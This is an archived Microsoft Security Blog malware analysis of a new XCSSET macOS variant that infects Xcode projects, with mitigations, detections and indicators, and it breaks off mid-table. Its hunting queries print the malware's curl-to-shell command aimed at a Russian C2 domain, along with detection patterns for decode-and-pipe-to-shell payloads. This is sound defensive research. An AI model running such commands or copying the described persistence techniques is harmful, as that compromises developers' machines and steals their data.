{
	"id": "dd870bbc-546d-4180-b4c0-6f5b0ad183b9",
	"created_at": "2026-04-06T00:09:06.343907Z",
	"updated_at": "2026-04-10T13:12:28.755746Z",
	"deleted_at": null,
	"sha1_hash": "a669325d00188680430d59bed2a59b7effb20b8c",
	"title": "New XCSSET malware adds new obfuscation, persistence techniques to infect Xcode projects | Microsoft Security Blog",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 9913404,
	"plain_text": "New XCSSET malware adds new obfuscation, persistence techniques to\r\ninfect Xcode projects | Microsoft Security Blog\r\nBy Microsoft Threat Intelligence\r\nPublished: 2025-03-11 · Archived: 2026-04-02 12:37:33 UTC\r\nSeptember 25, 2025 update: Microsoft Threat Intelligence has identified yet another XCSSET variant in the wild that\r\nintroduces further updates and new modules: XCSSET evolves again: Analyzing the latest updates to XCSSET’s\r\ninventory.\r\nMicrosoft Threat Intelligence has uncovered a new variant of XCSSET, a sophisticated modular macOS malware that infects\r\nXcode projects, in the wild during routine threat hunting. Its first known variant since 2022, this latest XCSSET malware\r\nfeatures enhanced obfuscation methods, updated persistence mechanisms, and new infection strategies. These enhanced\r\nfeatures help this malware family steal and exfiltrate files and system and user information, such as digital wallet data and\r\nnotes, among others.\r\nXCSSET is known for infecting Xcode projects and runs while an Xcode project is being built. Since Xcode is typically\r\nused by software developers, we assess that the malware’s mode of infection and propagation leverages on the idea that\r\nproject files are shared among developers building Apple or macOS-related applications.\r\nWhile it has resemblances to older XCSSET variants, this new variant is characterized by its modular approach and encoded\r\npayloads. It also has improved error handling, and heavily uses scripting languages, UNIX commands, and legitimate\r\nbinaries. These characteristics allow the malware to have a low profile on an affected device and even remain fileless\r\nwhenever possible, thus making its detection and removal more challenging.\r\nAt the code level, the new XCSSET variant obfuscated its module names, making it difficult to determine the modules’\r\nintent during static analysis. Its enhanced obfuscation techniques extend to its randomized approach for generating payloads\r\nto infect Xcode projects and for encoding its payloads. In addition, while older XCSSET variants only used xxd (hexdump)\r\nfor encoding, the latest one also incorporates Base64. Other notable capabilities of this new variant include its three distinct\r\npersistence techniques, which ensure its payload launches whenever a new shell session is initiated or whenever a user is\r\ntricked into opening a fake Launchpad application or makes commits in Git, and a new infection method for where the\r\nmalware places its payload in a target Xcode project. Our analysis also revealed that there are some modules in this new\r\nvariant’s code that appear to be under development. Its command-and-control (C2) server is also active as of this writing and\r\nis downloading additional modules.\r\nIn this blog, we discuss how this variant’s different modules work together in achieving the malware’s goals. As part of\r\nMicrosoft’s commitment to work with the security community to mitigate threats and improve security for all, we have\r\nshared these findings with Apple, who acknowledged and thanked us for the information. While we’re only seeing this new\r\nXCSSET variant in limited attacks as of this writing, we’re sharing our comprehensive analysis and providing best practices\r\nand recommendations more broadly so users and organizations can protect themselves against this threat.\r\nAnalyzing the latest XCSSET variant\r\nThe new XCSSET variant generally follows a four-stage infection chain, with the fourth-stage payload running various sub-routines. The following sections provide detailed descriptions of each of these modules.\r\nFirst stage: Xcode shell payload\r\nThe payload referenced in this stage gets launched when a user unknowingly builds an infected Xcode project. This\r\nobfuscated payload passes through three iterations of a hex decoder and is then piped—or served as input—to shell.\r\nFigure 1. Obfuscated first-stage shell payload\r\nThe decoded payload simply makes a curl request to a C2 server, https[:]//bulknames[.]ru/a. The response it receives is then\r\npiped to shell.\r\nSecond stage: Obfuscated shell command\r\nThis payload, which was downloaded by the first-stage shell, collects the affected user’s device operating system\r\ninformation, which it then sends to the C2 server along with a default identifier/tag to download an additional payload. It\r\nthen pipes the downloaded payload to the shell for execution.\r\nhttps://www.microsoft.com/en-us/security/blog/2025/03/11/new-xcsset-malware-adds-new-obfuscation-persistence-techniques-to-infect-xcode-projects/\r\nPage 1 of 15\n\nFigure 2. The second-stage command sent to the C2 server\r\nThird stage: Downloaded shell payload\r\nThis stage again involves a shell script that first checks if the device’s version of XProtect, the built-in antivirus in macOS,\r\nis less than 5287. This check is done by running the command “xprotect version” and reading the Info.plist file of the\r\nXProtect bundle.\r\nFigure 3. Third-stage shell script\r\nThe script then checks and stops any of the referenced processes in Figure 3 and any running osascript processes. It then\r\ncalculates the date and searches for a hidden file named .a in the home folder. If it finds the file, it updates the said file;\r\notherwise, it creates a new file with the date and other counters/markers.\r\nThe script then deletes any existing references to /tmp/l.app and creates a new one. It then downloads another script from the\r\nC2 server and saves it at the location /tmp/b. Next, it creates an AppleScript compiled application using osacompile. This\r\nAppleScript payload launches the downloaded /tmp/b script.\r\nThe script then uses the plutil command to modify the Info.plist file of the created AppleScript application to enable the\r\nLSUIElement key. Enabling this key hides the application from the Dock, effectively making the application more of a\r\nbackground process. Finally, the script runs the application in the background, sleeps for 10 seconds, and removes the\r\ncreated application and the /tmp/b script.\r\nFourth stage: AppleScript payload (/tmp/b or looz)\r\nThe fourth stage involves the execution of the created AppleScript application, which essentially runs a shell command. This\r\ncommand passes a Base64-encoded blob through several iterations of a Base64 decoder to obtain the final script, which is\r\nsubsequently executed.\r\nFigure 4. Base64-encoded fourth-stage AppleScript payload\r\nThe decoded script is another AppleScript that first parses the com.apple.launchservices.secure.plist file to determine the\r\ndefault browser for https URLs. It searches for the “https” URL scheme and extracts the corresponding browser’s bundle\r\nidentifier. The script has explicitly set the variable to “Safari (com.apple.safari)” by default.\r\nThe script then fetches the following system information, which it sends to the C2 server as a single string:\r\nmacOS version\r\nSafari version\r\nUser locale\r\nFirewall status\r\nSystem Integrity Protection (SIP) status\r\nCPU information\r\nThe script also overrides the default log() function so that it can send logs to the C2 server—a capability that can also be\r\nseen across the various sub-modules the script launches. The next section provides more information about the sub-modules\r\nthe script downloads from the C2 server as of this writing.  \r\nThe script then checks if the user name is “demo,” possibly to verify if the user account belongs to the threat actor. If the\r\nuser name checks out, the script processes a specific module, cozfi_xhh, and returns. It also checks the device serial number\r\nand exits if the value contains “JV3Q” in it. Next, it calls the boot() function repeatedly with multiple obfuscated module\r\nnames.\r\nhttps://www.microsoft.com/en-us/security/blog/2025/03/11/new-xcsset-malware-adds-new-obfuscation-persistence-techniques-to-infect-xcode-projects/\r\nPage 2 of 15\n\nFigure 5. The boot() function of the AppleScript payload\r\nThe boot() function has multiple filters with predefined logic and handlers for the module names passed in the argument. In\r\ncase the module name doesn’t pass any filter, a code in the boot() function downloads an AppleScript that is then launched\r\ndirectly to avoid any artifacts on the disk. Depending on the wait flag passed to this function, the newly downloaded\r\nAppleScript is run in either background or foreground.\r\nSub-modules\r\nThe sub-modules that the fourth-stage script downloads follow the similar format where a Base64-encoded blob is passed\r\nthrough multiple iterations of a Base64 decoder before being launched directly.\r\nFigure 6. Format of the encoded sub-modules\r\nseizecj (Steals system information)\r\nThis sub-module exfiltrates system information to the C2 server. The information it retrieves includes:\r\nApplications list\r\nSystem applications list\r\nUser level LaunchAgents list\r\nXProtect version\r\nMalware Removal Tool (MRT) version\r\nfpzfcieoci (Lists browser extensions)\r\nThis sub-module searches for and lists down the various internet browser extensions it finds installed on the affected device.\r\nIt has a predefined list of search strings that correspond to the folder paths and files of the browsers that it searches for:\r\nFigure 7. Browser’s path list\r\nThis sub-module processes each path individually to search for specific files and extracts metadata about the browser\r\nextensions. For example, for Firefox, it extracts lines containing “extensions.webextensions.ExtensionStorageIDB” from the\r\nfile prefs.js file. For the other browsers, it searches the manifest.json file and extracts the lines containing either\r\n“default_title” or “name”. It then stores the extension list in a log file named /tmp/out.txt and uploads this file to the C2\r\nserver.\r\nhxasoxtfd (Downloads an additional module)\r\nThis sub-module is a downloader that requests a module name from the C2 server every 120 seconds.\r\nhttps://www.microsoft.com/en-us/security/blog/2025/03/11/new-xcsset-malware-adds-new-obfuscation-persistence-techniques-to-infect-xcode-projects/\r\nPage 3 of 15\n\nFigure 8. doMain() function of the module\r\nIf a module name is received from the C2 server, the system proceeds to call the boot() function with the received module\r\nname. This function includes filters on the module name, similar to those observed in the parent (fourth-stage) payload. In\r\ncase the filters don’t pass, this sub-module proceeds to download and launch directly the payload received from the C2,\r\nagain to avoid any artifacts on the disk.\r\ntxzx_vostfdi (Steals digital wallet data from browsers)\r\nThis sub-module first sends a request to retrieve a path list from the C2 server. The following screenshot is an example of a\r\npath list received from the C2:\r\nFigure 9. Path list received from C2 server\r\nBased on the specified paths, this sub-module appears to search for many cryptocurrency digital wallet extensions across\r\nvarious browsers and their directories. This information is primarily determined by examining the identifiers, such as the\r\nfollowing:\r\nDigital wallet extension Identifier\r\nMetaMask\r\nnkbihfbeogaeaoehlefnkodbefgpgknn\r\nejbalbakoplchlghecdalmeeeajnimhm\r\nTokenPocket mfgccjchihfkkindfppnaooecgfneiii\r\nTronLink ibnejdfjmmkpcnlpebklmnkoeoihofec \r\nBNB Chain Wallet fhbohimaelbohpjbbldcngcnapndodjp\r\nPhantom Wallet bfnaelmomeimhlpmgjnjophhpkkoljpa\r\nThis sub-module archives the collected data, which it then sends back to the C2 server.\r\nhfdieiz (Establishes persistence)\r\nThis sub-module establishes persistence through two different methods, zshrc and Dock, which will be discussed in the\r\nfollowing sections. It first creates a folder named com.apple.finder in the ~/Library/Caches/ directory.\r\nhttps://www.microsoft.com/en-us/security/blog/2025/03/11/new-xcsset-malware-adds-new-obfuscation-persistence-techniques-to-infect-xcode-projects/\r\nPage 4 of 15\n\nThis sub-module generates payload by randomly selecting a C2 server from a predefined list and selecting an encoding\r\nmethod, which is either Base64 or xxd. It then chooses the number of iterations required to encode or decode the payload.\r\nThe final encoded payload is then generated and returned. The argument received in the function is placed as a marker at\r\n“p=” in the payload request.\r\nFigure 10. Payload generation function of the persistence sub-module\r\nzshrc method\r\nIn this persistence method, the sub-module first checks the value of the RESTORE_DEFAULT global variable. If the value is\r\nset to “True”, the sub-module deletes the ~/.zshrc_aliases file; otherwise, it retrieves the payload body and saves it to the\r\n~/.zshrc_aliases file. The subsequent payload involves verifying the existence of the .zshrc_aliases file and executing it if it\r\nis present. The script then ensures that the ~/.zshrc file exists. It searches for the presence of the string “.zshrc_aliases”\r\nwithin this file and appends the final payload if it is absent. This persistence method guarantees the execution of the payload\r\nwhenever a new shell session is created.\r\nFigure 11. zshrc persistence method\r\nDock method\r\nIn this persistence method, the sub-module first downloads a signed dockutil tool from the C2 server. This tool is mainly\r\nused to manage dock items, such as adding, deleting, and updating entries. The sub-module then gets the list of dock items\r\nand searches for Launchpad in it. If it finds an entry, it proceeds to call the processItem function, which then creates a fake\r\nLaunchpad application in the ~/Library/Caches/com.apple.finder folder.\r\nFigure 12. Creation of the fake Launchpad application and file URI replacement\r\nThe processItem function proceeds to get the corresponding payload application body from getPayloadForApp() function,\r\nwhich then initially verifies whether the passed application name is “Launchpad.” If it is, then the payload body for\r\nLaunchpad is retrieved using the getPayloadBody() function.\r\nhttps://www.microsoft.com/en-us/security/blog/2025/03/11/new-xcsset-malware-adds-new-obfuscation-persistence-techniques-to-infect-xcode-projects/\r\nPage 5 of 15\n\nIn the getPayloadForApp() function, the final payload is configured to first invoke the legitimate Launchpad application and\r\nthen launch the generated malicious payload. The final payload body is then returned to the processItem function.\r\nFigure 13. Function to create payload for the application\r\nThe processItem function also has a logic to update the persisted payload in case it is already found on the device. If the\r\ndevice has no prior infection, the function first compiles an AppleScript payload to an application with the “run-only” flag.\r\nThis flag could make it challenging to reverse engineer the code and evade static analysis. The function then saves the\r\npayload to a file in the parent directory. Next, it checks if the application name is “Launchpad” and, if it is, modifies the\r\nInfo.plist file’s entries to enable the LSUIElement key and update CDBundleDisplayName. It then downloads\r\nInfoPlist.locatable and Launchpad’s icon from the C2 server, replaces the created application’s icon with it, and performs an\r\nad-hoc signing on the application.\r\nFinally, the processItem function uses the dockutil binary to replace the existing Launchpad entry with the fake Launchpad’s\r\napplication path. It does this by replacing the file URI entry of the legitimate Launchpad application with the fake one.\r\nThese steps ensure that every time the user starts Launchpad from the dock, the malicious created application is launched,\r\nwhich then runs both the legitimate Launchpad and the generated payload.\r\ncozfi_xhh (Steals notes from the Notes application )\r\nThis sub-module steals notes from the affected device’s Notes application through a JavaScript payload.\r\nIt initializes a variable named permissionApp to path to /Applications/Reminders.app, where the fake Reminders application\r\nis created, and to /Applications/Reminders.app/Notes/, where the stolen notes are saved. It is important to note that the\r\nlegitimate Reminders application can be found in the /System/Applications directory. The sub-module then removes the\r\nNotes folder if it exists inside the fake Reminders application. It also checks for the presence of the fake Reminders\r\napplication on the device and creates one if it’s not present.\r\nFigure 14. Creation of AppleScript-compiled application to launch a malicious JavaScript payload that steals\r\nnotes\r\nThis sub-module creates an AppleScript-compiled application with the flag set to “Run only.” This application’s script\r\nlaunches the /tmp/.n file using osascript. The sub-module then downloads an icon file from the C2 server. Next, it modifies\r\nthe Info.plist file by updating the CFBundleDisplayName and CFBundleExecutable and enabling the LSUIElement key.\r\nFinally, it performs an ad-hoc signing for this newly created application.\r\nAfter the creation of the application, the sub-module checks the global variable FORCED flag, which is set to “False” by\r\ndefault in the script. If the FORCED flag is set to “True”, the sub-module calls the exec function directly. Otherwise, it first\r\nsends a request to the C2 server to obtain a folder list. The code expects to receive “notes_app” in the response. If this\r\napplication is present, it enters a loop, waiting for the Notes application to start before calling the exec function. The exec\r\nfunction then subsequently calls the runloop function.\r\nhttps://www.microsoft.com/en-us/security/blog/2025/03/11/new-xcsset-malware-adds-new-obfuscation-persistence-techniques-to-infect-xcode-projects/\r\nPage 6 of 15\n\nThe runloop function first sets the payload, which is basically a JavaScript code. Meanwhile, the run() function of the\r\nJavaScript payload first checks and connects to the Notes application present in the Systems directory, retrieves all notes, and\r\nsaves each note’s contents, creation date, and modification date into an HTML file in the Notes folder within the Reminders\r\napplication created previously.\r\nFigure 15. JavaScript payload that steals notes from the affected device\r\nThe sub-module saves the JavaScript payload into the /tmp/.n file. It then launches the Reminders application to run the said\r\npayload. It checks for the existence of Notes folder and, if absent, retries up to three times by resetting the Transparency,\r\nConsent, and Control (TCC) database for AppleEvents before deleting the created Reminders application. If the Notes folder\r\nexists, it returns a “200” code. When the sub-module’s parent function receives the said “200” code, it archives the Notes\r\nfolder within the created fake Reminders application and exfiltrates it to the C2 server.\r\nFigure 16. Retry method of resetting TCC database\r\nModules listed under finderModules list in boot() function\r\nIn the boot() function of the fourth-stage AppleScript module, there is a specific handler code for certain modules found\r\nunder the finderModules list.\r\nFigure 17. Handler for modules defined in finderModules list\r\nFigure 17 shows how the fourth-stage payload downloads the module passed to the boot() function into the /tmp/.f file. It\r\nthen calls the boot() function again with a specific module named vectfd_xhh.\r\nLet’s first look at the common module invoked for each of the other modules on the list.\r\nvectfd_xhh (Launches application for modules)\r\nhttps://www.microsoft.com/en-us/security/blog/2025/03/11/new-xcsset-malware-adds-new-obfuscation-persistence-techniques-to-infect-xcode-projects/\r\nPage 7 of 15\n\nIn this module, the doMain() function checks the existence of either Xcode or Git. If either application is found, several\r\nglobal variables are set with a certain application’s display name, file path, and icon name.\r\nFigure 18. Selection of launcher application for creation\r\nIf neither application is present, the module defaults to Finder.app. Subsequently, the doInstall() function is called for each\r\ncase. It should be noted that the legitimate Finder and Terminal applications are located in the /System/Applications/ folder\r\nand not in /Applications/.\r\nIn the doInstall() function, the existence and version of the fake application in context is first checked. If the fake application\r\nisn’t present or is outdated:\r\nIf the current process in context is Xcode or Finder, the module waits for the corresponding legitimate application to\r\nlaunch first before calling the createLoop() function\r\nIf the current process in context is Terminal, the module directly calls the createLoop() function\r\nThe createLoop() function deletes any prior existence of the application before creating the fake one. The created application\r\nis AppleScript-compiled with the flag set to “Run only,” and it executes a script located at /tmp/.i. Similar to the previous\r\nfake application-creating modules, the created application’s icon and plist entries are modified, and is ad-hoc signed.\r\nFigure 19. Payload of the launcher application that launches the main module to be executed\r\nThe module then calls the runAppFile() function. This function first sets a payload where it attempts to get a listing of the\r\nuser’s directories, possibly to check TCC permissions. If the command succeeds, this function deletes any existing error file\r\n(/tmp/.e); otherwise, it creates the file. The payload then launches the /tmp/.f file that was downloaded in the parent (fourth-stage) module.\r\nNext, the runAppFile() function saves the payload it set initially in the /tmp/.i file and launches the created application. This\r\ncreated application in turn launches the /tmp/.i file, which, in turn, also executes the /tmp/.f file.\r\nIf the directory listing command isn’t successful, the error file is created. If this error file exists, the function returns code\r\n“403”. If the parent function receives this code, it retrieves the CFBundleIdentifier of the created application, resets the TCC\r\ndatabase for that bundle ID, and calls the createLoop() function again.\r\ndfhsebxzod (Infects Xcode projects)\r\nThis module, which is launched by the launcher module vectfd_xhh, is designed to infect Xcode projects located on the\r\ntarget device. It initially retrieves the user’s home directory and subsequently invokes two distinct functions to search and\r\nprocess files.\r\nhttps://www.microsoft.com/en-us/security/blog/2025/03/11/new-xcsset-malware-adds-new-obfuscation-persistence-techniques-to-infect-xcode-projects/\r\nPage 8 of 15\n\nFigure 20. Searching Xcode projects in a target folder\r\nThe first function searches for xcodeproj directories, excluding certain specified directories. The other function downloads a\r\nbinary, presumed to be a 7-Zip binary, from the C2 server. It then searches the HOME folder, excluding specified directories,\r\nfor .zip files. When it finds these .zip files, it scans the archive listing for “xcodeproj.” If it finds this entry, the module\r\ncontains a logic to extract the project files, modify them, and update the archive with the modified files.\r\nFor both functions, each directory or file match triggers a subsequent function that searches for a .pbxproj file within the\r\ngiven directory. This new function then randomly selects one of three infection methods: RULE, TARGET, or\r\nFORCED_STRATEGY. The infection method determines how the payload will be placed and referenced in the .pbxproj file.\r\nAn example infection method that wasn’t mentioned in previously published research is part of FORCED_STRATEGY\r\nmethod. This method includes the use of TARGET_DEVICE_FAMILY variable under Build Settings, which contains the\r\ngenerated payload.\r\nFigure 21. FORCED_STRATEGY method of infecting a pbxproj file\r\nNext, it adds a PBXShellScriptBuildPhase in the .pbxproj file where the payload will be present in the shellScript key.\r\nThe payload generation was done in a separate function where it first defines three specific domains and randomly selects\r\none from them. It uses either the xxd or Base64 encoding method, also chosen at random.\r\nFigure 22. Function to generate a payload that infects a pbxproj file\r\nThis method also selects a random value between 2 and 5 to determine the number of iterations for encoding/decoding. The\r\nfirst payload includes an encoded curl request to the specified C2 server, the output of which is piped to the shell for\r\nexecution. The final payload, which consists of the above encoded data and a decoding string, is also piped to shell for\r\nexecution.\r\njez (Establishes persistence through Git commits)\r\nThis module attempts to establish persistence by incorporating its payload into the pre-commit hooks within the .git\r\ndirectory of projects located on the device.\r\nhttps://www.microsoft.com/en-us/security/blog/2025/03/11/new-xcsset-malware-adds-new-obfuscation-persistence-techniques-to-infect-xcode-projects/\r\nPage 9 of 15\n\nFigure 23. Infection of hooks/pre-commit file in Git’s directory\r\nIt searches for .git folders the in the user’s home directory and sub-directories using the find command. It searches up to six\r\nlevels of sub-directories and excludes those named Movies, Library, Music, and Pictures. For each .git directory found, this\r\nmodule checks for the presence of the hooks/pre-commit file within those directories. If it finds the file, it removes any\r\nexisting payload content and appends the newly created payload.\r\nIf the module doesn’t find the pre-commit file, it creates the file and writes the payload within it. The process for generating\r\nthe payload is similar to the zshrc and Dock persistence techniques discussed in the previous sections of this blog. This\r\npersistence method ensures the execution of the payload upon each commit action in the project.\r\nFile/Data exfiltration modules assessed to be in development\r\nuhsoxtfd_vostfd (Directory uploader)\r\nThis module is designed to exfiltrate files from a specified target folder. It appears to be in the development phase as of this\r\nwriting because the specified target folder is currently set to ~/Desktop/test.\r\nThis module first verifies the existence of the target folder and exits if it can’t find the said folder. Otherwise, it lists the\r\nfolder’s contents to test access permissions. If access is denied, the module runs a recursive loop to reset the TCC database\r\nfor directories such as Desktop, Downloads, and Documents.\r\nOnce folder access is granted, the module archives the folder, excluding certain files such as links, patterns listed in the\r\nexclusion list, and files exceeding a specified size. It then uploads the created archive to a C2 server. Once the exfiltration is\r\ncomplete, the module deletes the archive.\r\nfpfb (Directory listing)\r\nThis module runs a predefined command and uploads the result of the said command back to the C2 server. Currently, the\r\ncommand is set to “ls -la ~/Desktop”, which lists the files and directories in the user’s Desktop folder.\r\nvectfd (Specific files exfiltration)\r\nThis module retrieves files that match the pattern defined in the INAME_QUERY variable within the user’s home directory.\r\nCurrently, it searches for files with the pattern “*test.txt,” which indicates that the module might be under development. It\r\nalso excludes files located in certain directories and files that exceed its size restrictions. The module then creates an archive\r\nof the files it retrieves, sends the archive to a C2 server, and deletes the archive.\r\nMitigation and protection guidance\r\nDefenders can take the following mitigation steps to defend against this threat:\r\nRun the latest version of your operating systems and applications. Deploy the latest security updates as soon as they\r\nbecome available.\r\nAlways inspect and verify Xcode projects downloaded or cloned from repositories, as the malware usually spreads\r\nthrough infected projects.\r\nEncourage users to use web browsers that support Microsoft Defender SmartScreen like Microsoft Edge—available\r\non macOS and various platforms—which identifies and blocks malicious websites, including phishing sites, scam\r\nsites, and sites that contain exploits and host malware.\r\nUse Microsoft Defender for Endpoint on Mac, which detects, stops, and quarantines the malware discussed in this\r\nblog\r\nMicrosoft Defender for Endpoint customers can also apply the following mitigations to reduce the environmental attack\r\nsurface and mitigate the impact of this threat and its payloads:\r\nhttps://www.microsoft.com/en-us/security/blog/2025/03/11/new-xcsset-malware-adds-new-obfuscation-persistence-techniques-to-infect-xcode-projects/\r\nPage 10 of 15\n\nTurn on cloud-delivered protection and automatic sample submission on Microsoft Defender Antivirus. These\r\ncapabilities use artificial intelligence and machine learning to quickly identify and stop new and unknown threats.\r\nEnable potentially unwanted application (PUA) protection in block mode to automatically quarantine PUAs like\r\nadware. PUA blocking takes effect on endpoint clients after the next signature update or computer restart. PUA\r\nblocking takes effect on endpoint clients after the next signature update or computer restart.\r\nTurn on network protection to block connections to malicious domains and IP addresses.\r\nMicrosoft Defender XDR detections\r\nMicrosoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR\r\ncoordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide\r\nintegrated protection against attacks like the threat discussed in this blog.\r\nCustomers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and\r\nrespond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.\r\nMicrosoft Defender Antivirus\r\nMicrosoft Defender Antivirus detects this threat as the following malware:\r\nTrojan:MacOS/XCSSET.SC\r\nTrojan:MacOS/XCSSET.SE\r\nTrojan:MacOS/XCSSET.ST\r\nDefender Antivirus detects multiple sub-modules of this threat as the following:\r\nTrojan:MacOS/XCCSET.SE\r\nTrojan:MacOS/XCCSET.SF\r\nTrojan:MacOS/XCCSET.SG\r\nTrojan:MacOS/XCCSET.SI\r\nTrojan:MacOS/XCCSET.SJ\r\nDefender Antivirus also detects the following specific modules of this threat:\r\nTrojan:MacOS/XCCSET.SK – dfhsebxzod\r\nTrojan:MacOS/XCCSET.SH – fpzfcieoci\r\nTrojan:MacOS/XCCSET.SD – hfdieiz\r\nMicrosoft Defender for Endpoint\r\nThe following Microsoft Defender for Endpoint alerts can indicate associated threat activity:\r\nPossible XCSSET activity\r\nThe following alerts might also indicate threat activity related to this threat. Note, however, that these alerts can be also\r\ntriggered by unrelated threat activity:\r\nSuspicious script launched\r\nSystem information discovery\r\nNetwork connection by osascript\r\nPossible content exfiltration\r\nSuspicious file or content ingress\r\nHunting queries\r\nMicrosoft Defender XDR\r\nMicrosoft Defender XDR customers can run the following queries to find related activity in their networks:\r\nSuspicious commands while building an Xcode project\r\nSearch for suspicious commands related to this threat when an Xcode project is being built.\r\nDeviceProcessEvents\r\n| where ProcessCommandLine has_all(\"echo\", \"xxd -p -r\", \"| sh\") or ProcessCommandLine has_all(\"echo\", \"base64\r\n-d\", \"| sh\")\r\n| where InitiatingProcessFileName has_any (\"sh\", \"bash\", \"zsh\")\r\n| where InitiatingProcessCommandLine contains \"/Developer/Xcode/DerivedData\"\r\nhttps://www.microsoft.com/en-us/security/blog/2025/03/11/new-xcsset-malware-adds-new-obfuscation-persistence-techniques-to-infect-xcode-projects/\r\nPage 11 of 15\n\nSuspicious payload patterns\r\nSearch for suspicious payload patterns related to this threat.\r\nDeviceProcessEvents\r\n| where ProcessCommandLine has_all(\"echo\", \"xxd -p -r\", \"| sh\") or ProcessCommandLine has_all(\"echo\", \"base64\r\n-d\", \"| sh\")\r\n| where InitiatingProcessFileName has_any (\"sh\", \"bash\", \"zsh\")\r\nMicrosoft Sentinel \r\nMicrosoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to\r\nautomatically match the malicious domain indicators mentioned in this blog post with data in their workspace. If the TI Map\r\nanalytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel\r\nContent Hub to have the analytics rule deployed in their Sentinel workspace. \r\nSearch for command lines making first contact to C2 server or for command lines stopping Xcode, Terminal, or Finder\r\napplications:\r\nunion DeviceFileEvents, DeviceProcessEvents\r\n| where Timestamp \u003e= ago(90d)\r\n| where ProcessCommandLine contains 'curl -fskL -d \"https://bulknames.ru/a\" | sh \u003e/dev/null 2\u003e\u00261 \u0026'\r\nor ProcessCommandLine has \"ps aux | grep -E '/Applications/(SimulatorTrampoline|Terminal|Finder).app' |\r\ngrep -v grep | awk '{print $2}' | xargs kill -9 \u0026/dev/null || true\"\r\nCheck for communications with network indicators of compromise (IOCs):\r\nlet c2cdomains = dynamic([\"bulknames.ru\",\"castlenet.ru\",\"chaoping.ru\",\"devapple.ru\",\r\n\"gigacells.ru\",\"gizmodoc.ru\",\"trixmate.ru\",\"itoyads.ru\",\"rigglejoy.ru\",\"rutornet.ru\",\r\n\"sigmate.ru\",\"vivatads.ru\",\"figmasol.ru\"]);\r\nDeviceNetworkEvents\r\n| where RemoteUrl in (c2cdomains)\r\n| project TimeGenerated, DeviceId, DeviceName, Protocol, LocalIP, LocalIPType, LocalPort,RemoteIP,\r\nRemoteIPType, RemotePort, RemoteUrl\r\nCheck for infected file or script IOCs:\r\nlet selectedTimestamp = datetime(2025-01-01T00:00:00.0000000Z);\r\nlet FileSHA256 =\r\ndynamic([\"d338dc9a75a14753f57399815b5d996a1c5e65aa4eb203222d8c85fb3d74b02f\",\"56670f51f94080f1ae45f2a433767f210f290835bf582e1a2e1876f10288\r\nf67e2a27f0d1a4667b065ab05f884ff881eb7627e9d458f97f2204647b339c6e”\r\n\"\",\"25d226d5cb0c74ed5b1b85f12d53a4c2de2147ff464b2a35db03987015b11e24\",\r\n\"c2a7970216576a6b8f74528ffcfa51aa2b72b7f3e4237d97715b1b5ba80b25ca\",\"8cec3c106659709017bb253becf68296c7bf13e76fa92b4450c281003d225645\",\r\n\"ea90c72e67f1c9a9231732119576a7dcb29471f7da428866187d4326e78097f2\",\"ff83f53a383ba3f1d6b002006adf16a7f0b3263185d56cb70104889874d67c5d\",\"c\r\nsearch in\r\n(AlertEvidence,BehaviorEntities,CommonSecurityLog,DeviceBaselineComplianceProfiles,DeviceEvents,DeviceFileEvents,DeviceImageLoadEvents,\r\nDeviceLogonEvents,DeviceNetworkEvents,DeviceProcessEvents,DeviceRegistryEvents,DeviceFileCertificateInfo,DynamicEventCollection,EmailAtt\r\nTimeGenerated between ((selectedTimestamp - 1m) .. (selectedTimestamp + 90d)) // from January 1st runs the\r\nsearch for 90 days, change the selectedTimestamp above or 90d accordingly.\r\nand\r\n(SHA256 in (FileSHA256) or InitiatingProcessSHA256 in (FileSHA256))\r\nIndicators of compromise\r\nIndicator Type Description\r\nhttps://www.microsoft.com/en-us/security/blog/2025/03/11/new-xcsset-malware-adds-new-obfuscation-persistence-techniques-to-infect-xcode-projects/\r\nPage 12 of 15\n\nbulknames[.]ru Domain C2 server\r\ncastlenet[.]ru Domain C2 server\r\nchaoping[.]ru Domain C2 server\r\ndevapple[.]ru Domain C2 server\r\ngigacells[.]ru Domain C2 server\r\ngizmodoc[.]ru Domain C2 server\r\ntrixmate[.]ru Domain C2 server\r\nitoyads[.]ru Domain C2 server\r\nrigglejoy[.]ru Domain C2 server\r\nrutornet[.]ru Domain C2 server\r\nsigmate[.]ru Domain C2 server\r\nvivatads[.]ru Domain C2 server\r\nfigmasol[.]ru Domain C2 server\r\n~/Library/Caches/com.apple.finder\r\nFile\r\npath\r\nA fake\r\nLaunchpad\r\napplication is\r\ncreated in this\r\ndirectory\r\n/Applications/SimulatorTrampoline.app\r\nFile\r\npath\r\nLauncher\r\napplication that\r\nruns additional\r\nmodules found\r\nunder the\r\nfinderModules\r\nlist\r\n/Applications/Reminders.app\r\nFile\r\npath\r\nFake\r\nReminders\r\napplication\r\n/Applications/Reminders.app/Notes/\r\nFile\r\npath\r\nDirectory\r\nwhere the\r\nmalware stores\r\nthe stolen notes\r\nfrom the Notes\r\napplication\r\n/Applications/Terminal.app\r\nFile\r\npath\r\nLauncher\r\napplication that\r\nruns additional\r\nmodules found\r\nunder the\r\nfinderModules\r\nlist\r\n/Applications/Finder.app\r\nFIle\r\npath\r\nLauncher\r\napplication that\r\nruns additional\r\nmodules found\r\nunder the\r\nfinderModules\r\nlist\r\nd338dc9a75a14753f57399815b5d996a1c5e65aa4eb203222d8c85fb3d74b02f\r\nSHA-256\r\ntmp/b or looz\r\n(fourth-stage\r\npayload)\r\nhttps://www.microsoft.com/en-us/security/blog/2025/03/11/new-xcsset-malware-adds-new-obfuscation-persistence-techniques-to-infect-xcode-projects/\r\nPage 13 of 15\n\n56670f51f94080f1ae45f2a433767f210f290835bf582e1a2e1876f1028832de\r\nSHA-256\r\n/tmp/.n\r\n(JavaScript\r\npayload)\r\nf67e2a27f0d1a4667b065ab05f884ff881eb7627e9d458f97f2204647b339c6e\r\nSHA-256\r\ndfhsebxzod\r\nmodule (infects\r\nXcode\r\nprojects)  \r\n25d226d5cb0c74ed5b1b85f12d53a4c2de2147ff464b2a35db03987015b11e24\r\nSHA-256\r\njez module\r\n(establishes\r\npersistence\r\nthrough 